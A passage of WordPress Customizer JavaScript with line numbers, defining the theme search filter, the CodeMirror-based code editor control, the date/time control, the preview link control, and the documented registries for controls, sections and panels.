5205 } );
5206 });
5207
5208 control.container.on( 'render-screenshot', function() {
5209 var $screenshot = $( this ).find( 'img' ),
5210 source = $screenshot.data( 'src' );
5211
5212 if ( source ) {
5213 $screenshot.attr( 'src', source );
5214 }
5215 control.screenshotRendered = true;
5216 });
5217 },
5218
5219 /**
5220 * Show or hide the theme based on the presence of the term in the title, description, tags, and author.
5221 *
5222 * @since 4.2.0
5223 * @param {Array} terms - An array of terms to search for.
5224 * @return {boolean} Whether a theme control was activated or not.
5225 */
5226 filter: function( terms ) {
5227 var control = this,
5228 matchCount = 0,
5229 haystack = control.params.theme.name + ' ' +
5230 control.params.theme.description + ' ' +
5231 control.params.theme.tags + ' ' +
5232 control.params.theme.author + ' ';
5233 haystack = haystack.toLowerCase().replace( '-', ' ' );
5234
5235 // Back-compat for behavior in WordPress 4.2.0 to 4.8.X.
5236 if ( ! _.isArray( terms ) ) {
5237 terms = [ terms ];
5238 }
5239
5240 // Always give exact name matches highest ranking.
5241 if ( control.params.theme.name.toLowerCase() === terms.join( ' ' ) ) {
5242 matchCount = 100;
5243 } else {
5244
5245 // Search for and weight (by 10) complete term matches.
5246 matchCount = matchCount + 10 * ( haystack.split( terms.join( ' ' ) ).length - 1 );
5247
5248 // Search for each term individually (as whole-word and partial match) and sum weighted match counts.
5249 _.each( terms, function( term ) {
5250 matchCount = matchCount + 2 * ( haystack.split( term + ' ' ).length - 1 ); // Whole-word, double-weighted.
5251 matchCount = matchCount + haystack.split( term ).length - 1; // Partial word, to minimize empty intermediate searches while typing.
5252 });
5253
5254 // Upper limit on match ranking.
5255 if ( matchCount > 99 ) {
5256 matchCount = 99;
5257 }
5258 }
5259
5260 if ( 0 !== matchCount ) {
5261 control.activate();
5262 control.params.priority = 101 - matchCount; // Sort results by match count.
5263 return true;
5264 } else {
5265 control.deactivate(); // Hide control.
5266 control.params.priority = 101;
5267 return false;
5268 }
5269 },
5270
5271 /**
5272 * Rerender the theme from its JS template with the installed type.
5273 *
5274 * @since 4.9.0
5275 *
5276 * @return {void}
5277 */
5278 rerenderAsInstalled: function( installed ) {
5279 var control = this, section;
5280 if ( installed ) {
5281 control.params.theme.type = 'installed';
5282 } else {
5283 section = api.section( control.params.section );
5284 control.params.theme.type = section.params.action;
5285 }
5286 control.renderContent(); // Replaces existing content.
5287 control.container.trigger( 'render-screenshot' );
5288 }
5289 });
5290
5291 /**
5292 * Class wp.customize.CodeEditorControl
5293 *
5294 * @since 4.9.0
5295 *
5296 * @class wp.customize.CodeEditorControl
5297 * @augments wp.customize.Control
5298 */
5299 api.CodeEditorControl = api.Control.extend(/** @lends wp.customize.CodeEditorControl.prototype */{
5300
5301 /**
5302 * Initialize.
5303 *
5304 * @since 4.9.0
5305 * @param {string} id - Unique identifier for the control instance.
5306 * @param {Object} options - Options hash for the control instance.
5307 * @return {void}
5308 */
5309 initialize: function( id, options ) {
5310 var control = this;
5311 control.deferred = _.extend( control.deferred || {}, {
5312 codemirror: $.Deferred()
5313 } );
5314 api.Control.prototype.initialize.call( control, id, options );
5315
5316 // Note that rendering is debounced so the props will be used when rendering happens after add event.
5317 control.notifications.bind( 'add', function( notification ) {
5318
5319 // Skip if control notification is not from setting csslint_error notification.
5320 if ( notification.code !== control.setting.id + ':csslint_error' ) {
5321 return;
5322 }
5323
5324 // Customize the template and behavior of csslint_error notifications.
5325 notification.templateId = 'customize-code-editor-lint-error-notification';
5326 notification.render = (function( render ) {
5327 return function() {
5328 var li = render.call( this );
5329 li.find( 'input[type=checkbox]' ).on( 'click', function() {
5330 control.setting.notifications.remove( 'csslint_error' );
5331 } );
5332 return li;
5333 };
5334 })( notification.render );
5335 } );
5336 },
5337
5338 /**
5339 * Initialize the editor when the containing section is ready and expanded.
5340 *
5341 * @since 4.9.0
5342 * @return {void}
5343 */
5344 ready: function() {
5345 var control = this;
5346 if ( ! control.section() ) {
5347 control.initEditor();
5348 return;
5349 }
5350
5351 // Wait to initialize editor until section is embedded and expanded.
5352 api.section( control.section(), function( section ) {
5353 section.deferred.embedded.done( function() {
5354 var onceExpanded;
5355 if ( section.expanded() ) {
5356 control.initEditor();
5357 } else {
5358 onceExpanded = function( isExpanded ) {
5359 if ( isExpanded ) {
5360 control.initEditor();
5361 section.expanded.unbind( onceExpanded );
5362 }
5363 };
5364 section.expanded.bind( onceExpanded );
5365 }
5366 } );
5367 } );
5368 },
5369
5370 /**
5371 * Initialize editor.
5372 *
5373 * @since 4.9.0
5374 * @return {void}
5375 */
5376 initEditor: function() {
5377 var control = this, element, editorSettings = false;
5378
5379 // Obtain editorSettings for instantiation.
5380 if ( wp.codeEditor && ( _.isUndefined( control.params.editor_settings ) || false !== control.params.editor_settings ) ) {
5381
5382 // Obtain default editor settings.
5383 editorSettings = wp.codeEditor.defaultSettings ? _.clone( wp.codeEditor.defaultSettings ) : {};
5384 editorSettings.codemirror = _.extend(
5385 {},
5386 editorSettings.codemirror,
5387 {
5388 indentUnit: 2,
5389 tabSize: 2
5390 }
5391 );
5392
5393 // Merge editor_settings param on top of defaults.
5394 if ( _.isObject( control.params.editor_settings ) ) {
5395 _.each( control.params.editor_settings, function( value, key ) {
5396 if ( _.isObject( value ) ) {
5397 editorSettings[ key ] = _.extend(
5398 {},
5399 editorSettings[ key ],
5400 value
5401 );
5402 }
5403 } );
5404 }
5405 }
5406
5407 element = new api.Element( control.container.find( 'textarea' ) );
5408 control.elements.push( element );
5409 element.sync( control.setting );
5410 element.set( control.setting() );
5411
5412 if ( editorSettings ) {
5413 control.initSyntaxHighlightingEditor( editorSettings );
5414 } else {
5415 control.initPlainTextareaEditor();
5416 }
5417 },
5418
5419 /**
5420 * Make sure editor gets focused when control is focused.
5421 *
5422 * @since 4.9.0
5423 * @param {Object} [params] - Focus params.
5424 * @param {Function} [params.completeCallback] - Function to call when expansion is complete.
5425 * @return {void}
5426 */
5427 focus: function( params ) {
5428 var control = this, extendedParams = _.extend( {}, params ), originalCompleteCallback;
5429 originalCompleteCallback = extendedParams.completeCallback;
5430 extendedParams.completeCallback = function() {
5431 if ( originalCompleteCallback ) {
5432 originalCompleteCallback();
5433 }
5434 if ( control.editor ) {
5435 control.editor.codemirror.focus();
5436 }
5437 };
5438 api.Control.prototype.focus.call( control, extendedParams );
5439 },
5440
5441 /**
5442 * Initialize syntax-highlighting editor.
5443 *
5444 * @since 4.9.0
5445 * @param {Object} codeEditorSettings - Code editor settings.
5446 * @return {void}
5447 */
5448 initSyntaxHighlightingEditor: function( codeEditorSettings ) {
5449 var control = this, $textarea = control.container.find( 'textarea' ), settings, suspendEditorUpdate = false;
5450
5451 settings = _.extend( {}, codeEditorSettings, {
5452 onTabNext: _.bind( control.onTabNext, control ),
5453 onTabPrevious: _.bind( control.onTabPrevious, control ),
5454 onUpdateErrorNotice: _.bind( control.onUpdateErrorNotice, control )
5455 });
5456
5457 control.editor = wp.codeEditor.initialize( $textarea, settings );
5458
5459 // Improve the editor accessibility.
5460 $( control.editor.codemirror.display.lineDiv )
5461 .attr({
5462 role: 'textbox',
5463 'aria-multiline': 'true',
5464 'aria-label': control.params.label,
5465 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
5466 });
5467
5468 // Focus the editor when clicking on its label.
5469 control.container.find( 'label' ).on( 'click', function() {
5470 control.editor.codemirror.focus();
5471 });
5472
5473 /*
5474 * When the CodeMirror instance changes, mirror to the textarea,
5475 * where we have our "true" change event handler bound.
5476 */
5477 control.editor.codemirror.on( 'change', function( codemirror ) {
5478 suspendEditorUpdate = true;
5479 $textarea.val( codemirror.getValue() ).trigger( 'change' );
5480 suspendEditorUpdate = false;
5481 });
5482
5483 // Update CodeMirror when the setting is changed by another plugin.
5484 control.setting.bind( function( value ) {
5485 if ( ! suspendEditorUpdate ) {
5486 control.editor.codemirror.setValue( value );
5487 }
5488 });
5489
5490 // Prevent collapsing section when hitting Esc to tab out of editor.
5491 control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
5492 var escKeyCode = 27;
5493 if ( escKeyCode === event.keyCode ) {
5494 event.stopPropagation();
5495 }
5496 });
5497
5498 control.deferred.codemirror.resolveWith( control, [ control.editor.codemirror ] );
5499 },
5500
5501 /**
5502 * Handle tabbing to the field after the editor.
5503 *
5504 * @since 4.9.0
5505 * @return {void}
5506 */
5507 onTabNext: function onTabNext() {
5508 var control = this, controls, controlIndex, section;
5509 section = api.section( control.section() );
5510 controls = section.controls();
5511 controlIndex = controls.indexOf( control );
5512 if ( controls.length === controlIndex + 1 ) {
5513 $( '#customize-footer-actions .collapse-sidebar' ).trigger( 'focus' );
5514 } else {
5515 controls[ controlIndex + 1 ].container.find( ':focusable:first' ).focus();
5516 }
5517 },
5518
5519 /**
5520 * Handle tabbing to the field before the editor.
5521 *
5522 * @since 4.9.0
5523 * @return {void}
5524 */
5525 onTabPrevious: function onTabPrevious() {
5526 var control = this, controls, controlIndex, section;
5527 section = api.section( control.section() );
5528 controls = section.controls();
5529 controlIndex = controls.indexOf( control );
5530 if ( 0 === controlIndex ) {
5531 section.contentContainer.find( '.customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close' ).last().focus();
5532 } else {
5533 controls[ controlIndex - 1 ].contentContainer.find( ':focusable:first' ).focus();
5534 }
5535 },
5536
5537 /**
5538 * Update error notice.
5539 *
5540 * @since 4.9.0
5541 * @param {Array} errorAnnotations - Error annotations.
5542 * @return {void}
5543 */
5544 onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
5545 var control = this, message;
5546 control.setting.notifications.remove( 'csslint_error' );
5547
5548 if ( 0 !== errorAnnotations.length ) {
5549 if ( 1 === errorAnnotations.length ) {
5550 message = api.l10n.customCssError.singular.replace( '%d', '1' );
5551 } else {
5552 message = api.l10n.customCssError.plural.replace( '%d', String( errorAnnotations.length ) );
5553 }
5554 control.setting.notifications.add( new api.Notification( 'csslint_error', {
5555 message: message,
5556 type: 'error'
5557 } ) );
5558 }
5559 },
5560
5561 /**
5562 * Initialize plain-textarea editor when syntax highlighting is disabled.
5563 *
5564 * @since 4.9.0
5565 * @return {void}
5566 */
5567 initPlainTextareaEditor: function() {
5568 var control = this, $textarea = control.container.find( 'textarea' ), textarea = $textarea[0];
5569
5570 $textarea.on( 'blur', function onBlur() {
5571 $textarea.data( 'next-tab-blurs', false );
5572 } );
5573
5574 $textarea.on( 'keydown', function onKeydown( event ) {
5575 var selectionStart, selectionEnd, value, tabKeyCode = 9, escKeyCode = 27;
5576
5577 if ( escKeyCode === event.keyCode ) {
5578 if ( ! $textarea.data( 'next-tab-blurs' ) ) {
5579 $textarea.data( 'next-tab-blurs', true );
5580 event.stopPropagation(); // Prevent collapsing the section.
5581 }
5582 return;
5583 }
5584
5585 // Short-circuit if tab key is not being pressed or if a modifier key *is* being pressed.
5586 if ( tabKeyCode !== event.keyCode || event.ctrlKey || event.altKey || event.shiftKey ) {
5587 return;
5588 }
5589
5590 // Prevent capturing Tab characters if Esc was pressed.
5591 if ( $textarea.data( 'next-tab-blurs' ) ) {
5592 return;
5593 }
5594
5595 selectionStart = textarea.selectionStart;
5596 selectionEnd = textarea.selectionEnd;
5597 value = textarea.value;
5598
5599 if ( selectionStart >= 0 ) {
5600 textarea.value = value.substring( 0, selectionStart ).concat( '\t', value.substring( selectionEnd ) );
5601 $textarea.selectionStart = textarea.selectionEnd = selectionStart + 1;
5602 }
5603
5604 event.stopPropagation();
5605 event.preventDefault();
5606 });
5607
5608 control.deferred.codemirror.rejectWith( control );
5609 }
5610 });
5611
5612 /**
5613 * Class wp.customize.DateTimeControl.
5614 *
5615 * @since 4.9.0
5616 * @class wp.customize.DateTimeControl
5617 * @augments wp.customize.Control
5618 */
5619 api.DateTimeControl = api.Control.extend(/** @lends wp.customize.DateTimeControl.prototype */{
5620
5621 /**
5622 * Initialize behaviors.
5623 *
5624 * @since 4.9.0
5625 * @return {void}
5626 */
5627 ready: function ready() {
5628 var control = this;
5629
5630 control.inputElements = {};
5631 control.invalidDate = false;
5632
5633 _.bindAll( control, 'populateSetting', 'updateDaysForMonth', 'populateDateInputs' );
5634
5635 if ( ! control.setting ) {
5636 throw new Error( 'Missing setting' );
5637 }
5638
5639 control.container.find( '.date-input' ).each( function() {
5640 var input = $( this ), component, element;
5641 component = input.data( 'component' );
5642 element = new api.Element( input );
5643 control.inputElements[ component ] = element;
5644 control.elements.push( element );
5645
5646 // Add invalid date error once user changes (and has blurred the input).
5647 input.on( 'change', function() {
5648 if ( control.invalidDate ) {
5649 control.notifications.add( new api.Notification( 'invalid_date', {
5650 message: api.l10n.invalidDate
5651 } ) );
5652 }
5653 } );
5654
5655 // Remove the error immediately after validity change.
5656 input.on( 'input', _.debounce( function() {
5657 if ( ! control.invalidDate ) {
5658 control.notifications.remove( 'invalid_date' );
5659 }
5660 } ) );
5661
5662 // Add zero-padding when blurring field.
5663 input.on( 'blur', _.debounce( function() {
5664 if ( ! control.invalidDate ) {
5665 control.populateDateInputs();
5666 }
5667 } ) );
5668 } );
5669
5670 control.inputElements.month.bind( control.updateDaysForMonth );
5671 control.inputElements.year.bind( control.updateDaysForMonth );
5672 control.populateDateInputs();
5673 control.setting.bind( control.populateDateInputs );
5674
5675 // Start populating setting after inputs have been populated.
5676 _.each( control.inputElements, function( element ) {
5677 element.bind( control.populateSetting );
5678 } );
5679 },
5680
5681 /**
5682 * Parse datetime string.
5683 *
5684 * @since 4.9.0
5685 *
5686 * @param {string} datetime - Date/Time string. Accepts Y-m-d[ H:i[:s]] format.
5687 * @return {Object|null} Returns object containing date components or null if parse error.
5688 */
5689 parseDateTime: function parseDateTime( datetime ) {
5690 var control = this, matches, date, midDayHour = 12;
5691
5692 if ( datetime ) {
5693 matches = datetime.match( /^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/ );
5694 }
5695
5696 if ( ! matches ) {
5697 return null;
5698 }
5699
5700 matches.shift();
5701
5702 date = {
5703 year: matches.shift(),
5704 month: matches.shift(),
5705 day: matches.shift(),
5706 hour: matches.shift() || '00',
5707 minute: matches.shift() || '00',
5708 second: matches.shift() || '00'
5709 };
5710
5711 if ( control.params.includeTime && control.params.twelveHourFormat ) {
5712 date.hour = parseInt( date.hour, 10 );
5713 date.meridian = date.hour >= midDayHour ? 'pm' : 'am';
5714 date.hour = date.hour % midDayHour ? String( date.hour % midDayHour ) : String( midDayHour );
5715 delete date.second; // @todo Why only if twelveHourFormat?
5716 }
5717
5718 return date;
5719 },
5720
5721 /**
5722 * Validates if input components have valid date and time.
5723 *
5724 * @since 4.9.0
5725 * @return {boolean} If date input fields has error.
5726 */
5727 validateInputs: function validateInputs() {
5728 var control = this, components, validityInput;
5729
5730 control.invalidDate = false;
5731
5732 components = [ 'year', 'day' ];
5733 if ( control.params.includeTime ) {
5734 components.push( 'hour', 'minute' );
5735 }
5736
5737 _.find( components, function( component ) {
5738 var element, max, min, value;
5739
5740 element = control.inputElements[ component ];
5741 validityInput = element.element.get( 0 );
5742 max = parseInt( element.element.attr( 'max' ), 10 );
5743 min = parseInt( element.element.attr( 'min' ), 10 );
5744 value = parseInt( element(), 10 );
5745 control.invalidDate = isNaN( value ) || value > max || value < min;
5746
5747 if ( ! control.invalidDate ) {
5748 validityInput.setCustomValidity( '' );
5749 }
5750
5751 return control.invalidDate;
5752 } );
5753
5754 if ( control.inputElements.meridian && ! control.invalidDate ) {
5755 validityInput = control.inputElements.meridian.element.get( 0 );
5756 if ( 'am' !== control.inputElements.meridian.get() && 'pm' !== control.inputElements.meridian.get() ) {
5757 control.invalidDate = true;
5758 } else {
5759 validityInput.setCustomValidity( '' );
5760 }
5761 }
5762
5763 if ( control.invalidDate ) {
5764 validityInput.setCustomValidity( api.l10n.invalidValue );
5765 } else {
5766 validityInput.setCustomValidity( '' );
5767 }
5768 if ( ! control.section() || api.section.has( control.section() ) && api.section( control.section() ).expanded() ) {
5769 _.result( validityInput, 'reportValidity' );
5770 }
5771
5772 return control.invalidDate;
5773 },
5774
5775 /**
5776 * Updates number of days according to the month and year selected.
5777 *
5778 * @since 4.9.0
5779 * @return {void}
5780 */
5781 updateDaysForMonth: function updateDaysForMonth() {
5782 var control = this, daysInMonth, year, month, day;
5783
5784 month = parseInt( control.inputElements.month(), 10 );
5785 year = parseInt( control.inputElements.year(), 10 );
5786 day = parseInt( control.inputElements.day(), 10 );
5787
5788 if ( month && year ) {
5789 daysInMonth = new Date( year, month, 0 ).getDate();
5790 control.inputElements.day.element.attr( 'max', daysInMonth );
5791
5792 if ( day > daysInMonth ) {
5793 control.inputElements.day( String( daysInMonth ) );
5794 }
5795 }
5796 },
5797
5798 /**
5799 * Populate setting value from the inputs.
5800 *
5801 * @since 4.9.0
5802 * @return {boolean} If setting updated.
5803 */
5804 populateSetting: function populateSetting() {
5805 var control = this, date;
5806
5807 if ( control.validateInputs() || ! control.params.allowPastDate && ! control.isFutureDate() ) {
5808 return false;
5809 }
5810
5811 date = control.convertInputDateToString();
5812 control.setting.set( date );
5813 return true;
5814 },
5815
5816 /**
5817 * Converts input values to string in Y-m-d H:i:s format.
5818 *
5819 * @since 4.9.0
5820 * @return {string} Date string.
5821 */
5822 convertInputDateToString: function convertInputDateToString() {
5823 var control = this, date = '', dateFormat, hourInTwentyFourHourFormat,
5824 getElementValue, pad;
5825
5826 pad = function( number, padding ) {
5827 var zeros;
5828 if ( String( number ).length < padding ) {
5829 zeros = padding - String( number ).length;
5830 number = Math.pow( 10, zeros ).toString().substr( 1 ) + String( number );
5831 }
5832 return number;
5833 };
5834
5835 getElementValue = function( component ) {
5836 var value = parseInt( control.inputElements[ component ].get(), 10 );
5837
5838 if ( _.contains( [ 'month', 'day', 'hour', 'minute' ], component ) ) {
5839 value = pad( value, 2 );
5840 } else if ( 'year' === component ) {
5841 value = pad( value, 4 );
5842 }
5843 return value;
5844 };
5845
5846 dateFormat = [ 'year', '-', 'month', '-', 'day' ];
5847 if ( control.params.includeTime ) {
5848 hourInTwentyFourHourFormat = control.inputElements.meridian ? control.convertHourToTwentyFourHourFormat( control.inputElements.hour(), control.inputElements.meridian() ) : control.inputElements.hour();
5849 dateFormat = dateFormat.concat( [ ' ', pad( hourInTwentyFourHourFormat, 2 ), ':', 'minute', ':', '00' ] );
5850 }
5851
5852 _.each( dateFormat, function( component ) {
5853 date += control.inputElements[ component ] ? getElementValue( component ) : component;
5854 } );
5855
5856 return date;
5857 },
5858
5859 /**
5860 * Check if the date is in the future.
5861 *
5862 * @since 4.9.0
5863 * @return {boolean} True if future date.
5864 */
5865 isFutureDate: function isFutureDate() {
5866 var control = this;
5867 return 0 < api.utils.getRemainingTime( control.convertInputDateToString() );
5868 },
5869
5870 /**
5871 * Convert hour in twelve hour format to twenty four hour format.
5872 *
5873 * @since 4.9.0
5874 * @param {string} hourInTwelveHourFormat - Hour in twelve hour format.
5875 * @param {string} meridian - Either 'am' or 'pm'.
5876 * @return {string} Hour in twenty four hour format.
5877 */
5878 convertHourToTwentyFourHourFormat: function convertHour( hourInTwelveHourFormat, meridian ) {
5879 var hourInTwentyFourHourFormat, hour, midDayHour = 12;
5880
5881 hour = parseInt( hourInTwelveHourFormat, 10 );
5882 if ( isNaN( hour ) ) {
5883 return '';
5884 }
5885
5886 if ( 'pm' === meridian && hour < midDayHour ) {
5887 hourInTwentyFourHourFormat = hour + midDayHour;
5888 } else if ( 'am' === meridian && midDayHour === hour ) {
5889 hourInTwentyFourHourFormat = hour - midDayHour;
5890 } else {
5891 hourInTwentyFourHourFormat = hour;
5892 }
5893
5894 return String( hourInTwentyFourHourFormat );
5895 },
5896
5897 /**
5898 * Populates date inputs in date fields.
5899 *
5900 * @since 4.9.0
5901 * @return {boolean} Whether the inputs were populated.
5902 */
5903 populateDateInputs: function populateDateInputs() {
5904 var control = this, parsed;
5905
5906 parsed = control.parseDateTime( control.setting.get() );
5907
5908 if ( ! parsed ) {
5909 return false;
5910 }
5911
5912 _.each( control.inputElements, function( element, component ) {
5913 var value = parsed[ component ]; // This will be zero-padded string.
5914
5915 // Set month and meridian regardless of focused state since they are dropdowns.
5916 if ( 'month' === component || 'meridian' === component ) {
5917
5918 // Options in dropdowns are not zero-padded.
5919 value = value.replace( /^0/, '' );
5920
5921 element.set( value );
5922 } else {
5923
5924 value = parseInt( value, 10 );
5925 if ( ! element.element.is( document.activeElement ) ) {
5926
5927 // Populate element with zero-padded value if not focused.
5928 element.set( parsed[ component ] );
5929 } else if ( value !== parseInt( element(), 10 ) ) {
5930
5931 // Forcibly update the value if its underlying value changed, regardless of zero-padding.
5932 element.set( String( value ) );
5933 }
5934 }
5935 } );
5936
5937 return true;
5938 },
5939
5940 /**
5941 * Toggle future date notification for date control.
5942 *
5943 * @since 4.9.0
5944 * @param {boolean} notify Add or remove the notification.
5945 * @return {wp.customize.DateTimeControl}
5946 */
5947 toggleFutureDateNotification: function toggleFutureDateNotification( notify ) {
5948 var control = this, notificationCode, notification;
5949
5950 notificationCode = 'not_future_date';
5951
5952 if ( notify ) {
5953 notification = new api.Notification( notificationCode, {
5954 type: 'error',
5955 message: api.l10n.futureDateError
5956 } );
5957 control.notifications.add( notification );
5958 } else {
5959 control.notifications.remove( notificationCode );
5960 }
5961
5962 return control;
5963 }
5964 });
5965
5966 /**
5967 * Class PreviewLinkControl.
5968 *
5969 * @since 4.9.0
5970 * @class wp.customize.PreviewLinkControl
5971 * @augments wp.customize.Control
5972 */
5973 api.PreviewLinkControl = api.Control.extend(/** @lends wp.customize.PreviewLinkControl.prototype */{
5974
5975 defaults: _.extend( {}, api.Control.prototype.defaults, {
5976 templateId: 'customize-preview-link-control'
5977 } ),
5978
5979 /**
5980 * Initialize behaviors.
5981 *
5982 * @since 4.9.0
5983 * @return {void}
5984 */
5985 ready: function ready() {
5986 var control = this, element, component, node, url, input, button;
5987
5988 _.bindAll( control, 'updatePreviewLink' );
5989
5990 if ( ! control.setting ) {
5991 control.setting = new api.Value();
5992 }
5993
5994 control.previewElements = {};
5995
5996 control.container.find( '.preview-control-element' ).each( function() {
5997 node = $( this );
5998 component = node.data( 'component' );
5999 element = new api.Element( node );
6000 control.previewElements[ component ] = element;
6001 control.elements.push( element );
6002 } );
6003
6004 url = control.previewElements.url;
6005 input = control.previewElements.input;
6006 button = control.previewElements.button;
6007
6008 input.link( control.setting );
6009 url.link( control.setting );
6010
6011 url.bind( function( value ) {
6012 url.element.parent().attr( {
6013 href: value,
6014 target: api.settings.changeset.uuid
6015 } );
6016 } );
6017
6018 api.bind( 'ready', control.updatePreviewLink );
6019 api.state( 'saved' ).bind( control.updatePreviewLink );
6020 api.state( 'changesetStatus' ).bind( control.updatePreviewLink );
6021 api.state( 'activated' ).bind( control.updatePreviewLink );
6022 api.previewer.previewUrl.bind( control.updatePreviewLink );
6023
6024 button.element.on( 'click', function( event ) {
6025 event.preventDefault();
6026 if ( control.setting() ) {
6027 input.element.select();
6028 document.execCommand( 'copy' );
6029 button( button.element.data( 'copied-text' ) );
6030 }
6031 } );
6032
6033 url.element.parent().on( 'click', function( event ) {
6034 if ( $( this ).hasClass( 'disabled' ) ) {
6035 event.preventDefault();
6036 }
6037 } );
6038
6039 button.element.on( 'mouseenter', function() {
6040 if ( control.setting() ) {
6041 button( button.element.data( 'copy-text' ) );
6042 }
6043 } );
6044 },
6045
6046 /**
6047 * Updates Preview Link
6048 *
6049 * @since 4.9.0
6050 * @return {void}
6051 */
6052 updatePreviewLink: function updatePreviewLink() {
6053 var control = this, unsavedDirtyValues;
6054
6055 unsavedDirtyValues = ! api.state( 'saved' ).get() || '' === api.state( 'changesetStatus' ).get() || 'auto-draft' === api.state( 'changesetStatus' ).get();
6056
6057 control.toggleSaveNotification( unsavedDirtyValues );
6058 control.previewElements.url.element.parent().toggleClass( 'disabled', unsavedDirtyValues );
6059 control.previewElements.button.element.prop( 'disabled', unsavedDirtyValues );
6060 control.setting.set( api.previewer.getFrontendPreviewUrl() );
6061 },
6062
6063 /**
6064 * Toggles save notification.
6065 *
6066 * @since 4.9.0
6067 * @param {boolean} notify Add or remove notification.
6068 * @return {void}
6069 */
6070 toggleSaveNotification: function toggleSaveNotification( notify ) {
6071 var control = this, notificationCode, notification;
6072
6073 notificationCode = 'changes_not_saved';
6074
6075 if ( notify ) {
6076 notification = new api.Notification( notificationCode, {
6077 type: 'info',
6078 message: api.l10n.saveBeforeShare
6079 } );
6080 control.notifications.add( notification );
6081 } else {
6082 control.notifications.remove( notificationCode );
6083 }
6084 }
6085 });
6086
6087 /**
6088 * Change objects contained within the main customize object to Settings.
6089 *
6090 * @alias wp.customize.defaultConstructor
6091 */
6092 api.defaultConstructor = api.Setting;
6093
6094 /**
6095 * Callback for resolved controls.
6096 *
6097 * @callback wp.customize.deferredControlsCallback
6098 * @param {wp.customize.Control[]} controls Resolved controls.
6099 */
6100
6101 /**
6102 * Collection of all registered controls.
6103 *
6104 * @alias wp.customize.control
6105 *
6106 * @since 3.4.0
6107 *
6108 * @type {Function}
6109 * @param {...string} ids - One or more ids for controls to obtain.
6110 * @param {deferredControlsCallback} [callback] - Function called when all supplied controls exist.
6111 * @return {wp.customize.Control|undefined|jQuery.promise} Control instance or undefined (if function called with one id param),
6112 * or promise resolving to requested controls.
6113 *
6114 * @example <caption>Loop over all registered controls.</caption>
6115 * wp.customize.control.each( function( control ) { ... } );
6116 *
6117 * @example <caption>Getting `background_color` control instance.</caption>
6118 * control = wp.customize.control( 'background_color' );
6119 *
6120 * @example <caption>Check if control exists.</caption>
6121 * hasControl = wp.customize.control.has( 'background_color' );
6122 *
6123 * @example <caption>Deferred getting of `background_color` control until it exists, using callback.</caption>
6124 * wp.customize.control( 'background_color', function( control ) { ... } );
6125 *
6126 * @example <caption>Get title and tagline controls when they both exist, using promise (only available when multiple IDs are present).</caption>
6127 * promise = wp.customize.control( 'blogname', 'blogdescription' );
6128 * promise.done( function( titleControl, taglineControl ) { ... } );
6129 *
6130 * @example <caption>Get title and tagline controls when they both exist, using callback.</caption>
6131 * wp.customize.control( 'blogname', 'blogdescription', function( titleControl, taglineControl ) { ... } );
6132 *
6133 * @example <caption>Getting setting value for `background_color` control.</caption>
6134 * value = wp.customize.control( 'background_color ').setting.get();
6135 * value = wp.customize( 'background_color' ).get(); // Same as above, since setting ID and control ID are the same.
6136 *
6137 * @example <caption>Add new control for site title.</caption>
6138 * wp.customize.control.add( new wp.customize.Control( 'other_blogname', {
6139 * setting: 'blogname',
6140 * type: 'text',
6141 * label: 'Site title',
6142 * section: 'other_site_identify'
6143 * } ) );
6144 *
6145 * @example <caption>Remove control.</caption>
6146 * wp.customize.control.remove( 'other_blogname' );
6147 *
6148 * @example <caption>Listen for control being added.</caption>
6149 * wp.customize.control.bind( 'add', function( addedControl ) { ... } )
6150 *
6151 * @example <caption>Listen for control being removed.</caption>
6152 * wp.customize.control.bind( 'removed', function( removedControl ) { ... } )
6153 */
6154 api.control = new api.Values({ defaultConstructor: api.Control });
6155
6156 /**
6157 * Callback for resolved sections.
6158 *
6159 * @callback wp.customize.deferredSectionsCallback
6160 * @param {wp.customize.Section[]} sections Resolved sections.
6161 */
6162
6163 /**
6164 * Collection of all registered sections.
6165 *
6166 * @alias wp.customize.section
6167 *
6168 * @since 3.4.0
6169 *
6170 * @type {Function}
6171 * @param {...string} ids - One or more ids for sections to obtain.
6172 * @param {deferredSectionsCallback} [callback] - Function called when all supplied sections exist.
6173 * @return {wp.customize.Section|undefined|jQuery.promise} Section instance or undefined (if function called with one id param),
6174 * or promise resolving to requested sections.
6175 *
6176 * @example <caption>Loop over all registered sections.</caption>
6177 * wp.customize.section.each( function( section ) { ... } )
6178 *
6179 * @example <caption>Getting `title_tagline` section instance.</caption>
6180 * section = wp.customize.section( 'title_tagline' )
6181 *
6182 * @example <caption>Expand dynamically-created section when it exists.</caption>
6183 * wp.customize.section( 'dynamically_created', function( section ) {
6184 * section.expand();
6185 * } );
6186 *
6187 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
6188 */
6189 api.section = new api.Values({ defaultConstructor: api.Section });
6190
6191 /**
6192 * Callback for resolved panels.
6193 *
6194 * @callback wp.customize.deferredPanelsCallback
6195 * @param {wp.customize.Panel[]} panels Resolved panels.
6196 */
6197
6198 /**
6199 * Collection of all registered panels.
6200 *
6201 * @alias wp.customize.panel
6202 *
6203 * @since 4.0.0
6204 *
6205 * @type {Function}
6206 * @param {...string} ids - One or more ids for panels to obtain.
6207 * @param {deferredPanelsCallback} [callback] - Function called when all supplied panels exist.
6208 * @return {wp.customize.Panel|undefined|jQuery.promise} Panel instance or undefined (if function called with one id param),
6209 * or promise resolving to requested panels.
6210 *
6211 * @example <caption>Loop over all registered panels.</caption>
6212 * wp.customize.panel.each( function( panel ) { ... } )
6213 *
6214 * @example <caption>Getting nav_menus panel instance.</caption>
6215 * panel = wp.customize.panel( 'nav_menus' );
6216 *
6217 * @example <caption>Expand dynamically-created panel when it exists.</caption>
6218 * wp.customize.panel( 'dynamically_created', function( panel ) {
6219 * panel.expand();
6220 * } );
6221 *
6222 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
6223 */
6224 api.panel = new api.Values({ defaultConstructor: api.Panel });
6225
6226 /**
6227 * Callback for resolved notifications.
6228 *
6229 * @callback wp.customize.deferredNotificationsCallback
6230 * @param {wp.customize.Notification[]} notifications Resolved notifications.
6231 */
6232
6233 /**
6234 * Collection of all global notifications.
6235 *
6236 * @alias wp.customize.notifications
6237 *
6238 * @since 4.9.0
6239 *
6240 * @type {Function}
6241 * @param {...string} codes - One or more codes for notifications to obtain.
